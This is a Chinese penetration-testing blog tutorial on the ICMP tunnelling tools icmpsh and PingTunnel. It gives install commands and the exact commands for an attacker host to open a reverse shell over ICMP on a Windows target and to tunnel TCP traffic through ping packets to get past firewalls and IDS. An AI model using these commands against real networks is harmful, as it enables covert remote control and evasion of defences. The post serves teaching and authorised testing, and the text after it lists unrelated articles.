用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在我的上一篇文章中,介绍了内网后渗透攻击--隐藏通信隧道技术(网络层隧道技术)-CSDN博客

网络层隧道技术相关技术点,那么现在就要介绍相关工具的使用,这里我们主要介绍两个工具。一个是icmpsh,另一个PingTunnel,这两个工具主要是ICMP隧道工具,接下来详细介绍这两个工具

一、icmpsh

1、工具介绍

icmpsh 是一款基于 ICMP 协议实现的反向 shell 工具,主要用于网络渗透测试中建立隐蔽的命令行连接。其核心特点是利用 ICMP 协议(即 ping 命令所依赖的网络层协议)传输数据,而非传统的 TCP/UDP 端口,因此能绕过部分仅限制端口的防火墙规则(许多网络环境默认允许 ICMP 流量通过)。

在渗透测试场景中,当目标主机的 TCP/UDP 端口被严格封锁,但 ICMP 协议未被过滤时,icmpsh 可作为突破网络限制、获取目标主机控制权的辅助工具。

2、工作原理

icmpsh 的核心原理是 “滥用” ICMP 协议的 Echo Request(请求,类型 8)和 Echo Reply(回复,类型 0)报文:

  1. 通信角色:分为 “攻击机”(控制端)和 “目标机”(被控端)。
  2. 命令传输
    • 攻击机向目标机发送ICMP Echo Request 报文,报文中嵌入需要执行的命令(如whoamiipconfig等)。
    • 目标机接收后,执行命令并将结果通过ICMP Echo Reply 报文返回给攻击机。
  3. 隐蔽性:由于 ICMP 协议本身用于网络诊断(如 ping 测试),其流量通常不被视为 “危险流量”,因此不易被防火墙或入侵检测系统(IDS)拦截。
3、安装

下载地址:GitHub - bdamele/icmpsh: Simple reverse ICMP shell

icmpsh 主要通过 Python 脚本实现,需在攻击机(通常为 Linux)和目标机(支持 Windows/Linux)分别部署。

1. 攻击机(以 Linux 为例)

(1)依赖环境:需安装 Python 2.x(部分版本兼容 Python 3,建议优先用 Python 2)和python-impacket库(用于处理网络数据包)。
(2)下载工具:

git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket #安装python的impacket类库
pip install impacket  #此命令也行
cd icmpsh

(3)关闭系统自带的 ICMP 响应(避免系统默认 ping 回复干扰工具通信):

# Linux系统
sysctl -w net.ipv4.icmp_echo_ignore_all=1

2. 目标机(以 Windows 为例)

(1)需准备 icmpsh 的 Windows 可执行文件(icmpsh.exe),可通过攻击机编译或直接下载预编译版本:

  • 从攻击机的icmpsh目录中,将icmpsh.exe(若不存在,可通过mingw32编译icmpsh.c生成)上传至目标机,也就是说将下载文件夹中的icmpsh.exe文件放在目标机,而其它放在攻击机
4、使用

攻击机 IP 为192.168.1.100,目标机 IP 为192.168.1.200

1. 攻击机操作(启动监听)

在攻击机的icmpsh目录中,运行sh文件,输入IP地址

./run.sh

此时攻击机进入监听状态,等待目标机连接。

2. 目标机操作(主动连接)

在目标机上执行icmpsh.exe,指定攻击机 IP:

# Windows命令行中运行
icmpsh.exe -t 192.168.1.100 -d 500 -b 32

  • 参数说明:-t指定攻击机 IP;-d设置延迟(毫秒);-b设置数据包大小(字节)。
3. 建立连接后

连接成功后,攻击机将获得目标机的命令行交互权限,可直接执行系统命令(如dirtasklist等),命令结果会通过 ICMP 报文返回。

此工具还是可以的,但是其工具有点久远了,其脚本还是使用python2编写的。

二、PingTunnel

1、工具介绍

PingTunnel 是一款基于 ICMP 协议(即 ping 命令所使用的网络协议)的流量封装工具,其核心功能是将 TCP/UDP 等其他协议的流量 “伪装” 成 ICMP Echo Request/Reply(ping 请求 / 应答)包进行传输,从而绕过部分网络环境中对 TCP/UDP 端口的限制(例如防火墙仅允许 ICMP 流量通过的场景)。

它常被用于以下场景:

  • 绕过网络防火墙对特定端口的封锁;
  • 在受限网络中建立隐蔽的通信通道;
  • 测试网络设备对 ICMP 流量的过滤规则。
2、工作原理

ICMP 协议是 TCP/IP 协议族的一部分,主要用于网络诊断(如 ping 命令检测主机可达性),通常网络设备对 ICMP 流量的限制较松。

PingTunnel 的工作原理如下:

  1. 客户端封装:客户端将需要传输的 TCP/UDP 数据(如 HTTP、SSH 流量)拆解后,封装到 ICMP Echo Request 包(ping 请求)的数据字段中,发送给服务器端;
  2. 服务器端解封装:服务器端接收 ICMP 包后,提取其中的 TCP/UDP 数据,转发到目标服务(如目标服务器的 80 端口、22 端口);
  3. 反向传输:目标服务的响应数据通过服务器端封装成 ICMP Echo Reply 包(ping 应答),回传给客户端,完成一次通信。

通过这种 “ICMP 封装” 机制,原本被限制的流量可借助 ping 包的形式绕过过滤规则.

3、安装

下载地址:Releases · esrrhs/pingtunnel · GitHub

PingTunnel 支持 Linux、Windows 等系统,以下是主流平台的安装方法:

1. Linux 系统(以 Ubuntu/Debian 为例)

需通过源码编译安装,依赖libpcap库(用于网络数据包捕获):

# 安装依赖
sudo apt update && sudo apt install -y gcc make libpcap-dev# 下载源码(官方仓库或第三方镜像)
git clone https://github.com/esrrhs/pingtunnel.git #下载的主要是go语言编写
cd pingtunnel# 安装(可选,将可执行文件复制到系统路径)
sudo cp pingtunnel /usr/local/bin/

2. Windows 系统

可直接下载预编译的二进制文件(需从可信来源获取,如官方发布页),或通过 MinGW 编译源码:

  • 预编译版:下载pingtunnel.exe后,放入任意目录(如C:\tools),并将该目录添加到系统环境变量PATH中,即可在命令行直接调用。

这里我们就演示windows版本,如图所示

4、使用

PingTunnel 的使用需区分服务端(Server) 和客户端(Client),两者配合完成流量转发。

客户端通过 PingTunnel 访问服务端所在网络的80端口服务(apache2服务)。

  1. 服务端配置
    linux启动服务端:
# Linux服务端
./pingtunnel -type server -key 123456
参数说明:
-type server:以服务端模式运行
-key 123456:设置密码(纯数字,客户端需一致,增强安全性)
无需额外指定-d和-dp(默认会根据客户端请求转发到目标地址,此处目标就是服务端自身 80 端口)

客户端配置
在本地客户端(如个人电脑)启动客户端,监听本地8080端口,连接服务端:

./pingtunnel.exe -type client -l 192.168.0.104:8080 -s 172.19.214.174 -t 172.19.214.174:80 -tcp 1 -key 123456
参数说明
-type client:以客户端模式运行
-l 192.168.0.104:8080:客户端本地监听地址(之后访问此地址即可转发到服务端 80 端口)
-s 172.19.214.174:服务端 IP 地址(隧道的中间节点)
-t 172.19.214.174:80:目标地址(服务端自身的 80 端口)
-tcp 1:开启 TCP 转发(因为 80 端口是 TCP 服务)
-key 123456:与服务端一致的密码

使用转发通道
客户端本地应用连接192.168.0.104:8080,即可通过 PingTunnel 访问服务端80

ok,以上就是两款工具的使用介绍了,下一篇介绍传输层隧道技术。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/93439.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/93439.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/93439.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

系统思考:情绪内耗与思维模式

我们正在努力解决的问题,很多时候,根源就在我们自己。 在日常的工作和生活中,我们常常感到焦虑、内耗和失控。这些情绪和状态,似乎总是在不断循环。但如果停下来仔细思考,会发现,问题的背后,并不…

详解grafana k6 中stage的核心概念与作用

在Grafana k6中,​​Stage(阶段)​​ 是负载测试脚本的核心配置概念,用于动态控制虚拟用户(VUs)的数量随时间的变化。通过定义多个阶段,用户可以模拟真实场景中的流量波动(如用户逐步…

JS 和 JSX 的区别

JS 和 JSX 是两种不同的概念,尽管它们都与 JavaScript 密切相关,尤其是在 React 开发中。以下是它们的主要区别:1. 定义JS (JavaScript): 一种通用的编程语言,用于开发动态网页、服务器端应用程序等。它是标准的 ECMAScript 语言。…

Linux软件编程-进程(2)及线程(1)

1.进程回收资源空间&#xff08;1&#xff09;wait函数头文件&#xff1a;#include <sys/types.h>#include <sys/wait.h>函数接口&#xff1a;pid_t wait(int *wstatus);功能&#xff1a;阻塞等待回收子进程的资源空间参数&#xff1a;wstatus &#xff1a;保存子进…

java 集合 之 集合工具类Collections

前言早期开发者经常需要对集合进行各种操作比如排序、查找最大最小值等等但是当时没有统一的工具类来处理所以导致代码重复且容易出错java.util.Collections 工具类的引入为开发者提供了大量 静态方法 来操作集合它就像一个经验丰富的助手和数组工具类 Arrays 一样避免了我们重…

2025 年电赛 C 题 发挥部分 1:多正方形 / 重叠正方形高精度识别与最小边长测量

2025 年全国大学生电子设计竞赛 C 题 发挥部分 1&#xff1a;多正方形 / 重叠正方形高精度识别与最小边长测量 香橙派 OpenCV C 全流程解析 目录 赛题背景与需求技术难点全景图系统总体架构硬件平台与接线软件架构与线程模型算法流水线逐帧拆解 6.1 图像预处理6.2 轮廓提取与…

【自动驾驶】自动驾驶概述 ② ( 自动驾驶技术路径 | L0 ~ L5 级别自动驾驶 )

文章目录一、自动驾驶技术路径1、L0 级别 自动驾驶2、L1 级别 自动驾驶3、L2 级别 自动驾驶4、L3 级别 自动驾驶5、L4 级别 自动驾驶6、L5 级别 自动驾驶一、自动驾驶技术路径 美国汽车工程师学会 ( SAE ) 将 自动驾驶 分为 L0 ~ L5 六个级别 : 其中 L0 级别 是 完全手动 , L5…

C++少儿编程(二十二)—条件结构

1.理解条件结构小朋友们&#xff0c;今天让我们一起来探索一个神奇而有趣的知识——程序的条件结构&#xff01;首先&#xff0c;让我们来想象一个有趣的场景。比如说&#xff0c;你们正在准备去公园玩耍。在出发之前&#xff0c;你们会看看天气怎么样。如果天气晴朗&#xff0…

Ubuntu20.04下Px4使用UORB发布消息

1 .msg文件夹定义数据类型及 变量名文件位置如图&#xff0c;在PX4-Autopilot/msg文件夹下&#xff0c;笔者创建的文件名为gps_msg.msggps_msg.msg内容如下 uint64 timestamp # 时间戳 float32 latitude float32 longitude float32 altitude 同时&#xff0c;在CM…

three.js学习记录(第二节:鼠标控制相机移动)

效果展示&#xff1a; 鼠标控制一、鼠标控制 - 轨道控制器&#xff08;OrbitControls&#xff09; 1. 从nodeModules中导入OrbitControls&#xff0c;OrbitControls 是一个附加组件&#xff0c;必须显式导入 import { OrbitControls } from "three/examples/jsm/controls/…

Shortest Routes II(Floyd最短路)

题目描述There are n cities and m roads between them. Your task is to process q queries where you have to determine the length of the shortest route between two given cities.输入The first input line has three integers n, m and q: the number of cities, roads…

分享一个基于Hadoop的二手房销售签约数据分析与可视化系统,基于Python可视化的二手房销售数据分析平台

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Spark、hadoop、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题…

STM32的PWM

PWM作为硬件中几乎不可或缺的存在&#xff0c;学会 PWM&#xff0c;等于打通了 STM32 的“定时器体系”。学一次&#xff0c;STM32 全系列&#xff08;甚至 AVR、PIC、ESP32&#xff09;都能通用。硬件只要一个 I/O 就能驱动功率模块&#xff0c;非常省成本。不会 PWM&#xff…

OpenCompass傻瓜式入门教程

文章目录1 我也许不是傻瓜&#xff0c;却只想做个傻瓜2 环境要求3 安装3.1 下载源码3.2 创建虚拟环境3.3 安装4 下载数据5 查看支持的模型和数据集6 评测6.1 指定模型路径6.2 指定配置文件6.2.1 评测本地qwen2.5模型6.2.1.1 查看opencompass支持的qwen2.5模型6.2.1.2 创建配置文…

【软件测试】电商购物项目-各个测试点整理(三)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、优惠券的测试点…

流处理、实时分析与RAG驱动的Python ETL框架:构建智能数据管道(上)

> **2025年某电商大促,每秒20万订单涌入系统**——他们的风控团队仅用**47毫秒**就识别出欺诈交易。背后的秘密武器,正是融合流处理、实时分析与RAG的下一代Python ETL框架。 ### 一、范式革命:从批处理到AI增强的ETL 4.0 #### 1.1 数据处理演进史 ```mermaid graph LR …

开源 Arkts 鸿蒙应用 开发(十五)自定义绘图控件--仪表盘

文章的目的为了记录使用Arkts 进行Harmony app 开发学习的经历。本职为嵌入式软件开发&#xff0c;公司安排开发app&#xff0c;临时学习&#xff0c;完成app的开发。开发流程和要点有些记忆模糊&#xff0c;赶紧记录&#xff0c;防止忘记。 相关链接&#xff1a; 开源 Arkts …

​​​​​​​中国工业企业专利及引用被引用数据说明

1319 中国工业企业专利及引用被引用数据说明数据简介专利近年发文趋势及主题分布今天数据皮皮侠团队为大家分享一份2023年12月25日最新更新的中国工业企业专利及引用被引用数据&#xff0c;供大家研究使用。数据来源原始数据来源于国家统计局&#xff0c;由皮皮侠团队整理计算。…

MySQL知识点(上)

MySQL知识点 一&#xff1a;MySQL概述 MySQL是一款开源的数据库软件&#xff0c;是一种关系型数据库管理系统&#xff08;ROBMS&#xff09;&#xff0c;也叫做表数据库管理系统 如果需要快速安全地处理大量的数据&#xff0c;则必须使用数据库管理系统&#xff1b;任何基于数据…

shell脚本实现sha256sum校验并拷贝校验通过的文件

#!/bin/bash# 目标目录 TARGET_DIR"/appdata/jn1m/versions/old/bin"# 校验文件 CHECKSUM_FILE"checksum.txt"# 检查目标目录是否存在 if [ ! -d "$TARGET_DIR" ]; thenecho "错误&#xff1a;目标目录 $TARGET_DIR 不存在"exit 1 fi#…